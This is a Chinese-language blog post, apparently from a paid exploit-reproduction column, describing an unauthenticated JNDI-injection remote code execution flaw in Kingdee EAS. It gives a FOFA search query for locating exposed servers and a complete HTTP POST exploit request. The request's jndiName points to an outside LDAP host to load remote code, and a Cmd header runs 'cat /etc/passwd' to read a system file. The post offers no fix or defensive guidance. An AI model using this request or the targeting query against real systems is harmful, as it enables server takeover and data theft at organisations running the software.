【漏洞复现】金蝶 EAS createdatasource jndi 远程代码执行漏洞

最新推荐文章于 2024-04-27 17:30:42 发布

从不学安全

最新推荐文章于 2024-04-27 17:30:42 发布

阅读量150

点赞数

分类专栏：漏洞复现文章标签：安全网络

本文链接：https://blog.csdn.net/qq_67810151/article/details/137354235

版权

漏洞复现专栏收录该内容

60 篇文章 17 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

0x01 产品简介

金蝶 EAS 是金蝶软件公司推出的一套企业级应用软件套件，旨在帮助企业实现全面的管理和业务流程优化。

0x02 漏洞概述

金蝶 EAS 存在JNDI注入漏洞，未授权的攻击者可以通过该漏洞进行远程代码执行，导致服务器被控制。

0x03 测绘语句

fofa: app="Kingdee-EAS"

0x04 漏洞复现


POST /appmonitor//protect/datasource/createDataSource HTTP/1.1

Host:

Cmd: cat /etc/passwd

Content-Type: application/x-www-form-urlencoded

Referer: https://xxxx

name=1234&jndiName=ldap://gobygo.net/A7&dbtype=mysql&drivertype=&host=127.0.0.1&port=3306&dbname=asdasxasx&userName=asdasxasx&password=asdasxasx&repassword=asdasxasx&connectionURL=sdasd&driverClassName=java.lang.String&testCommand=

了解本专栏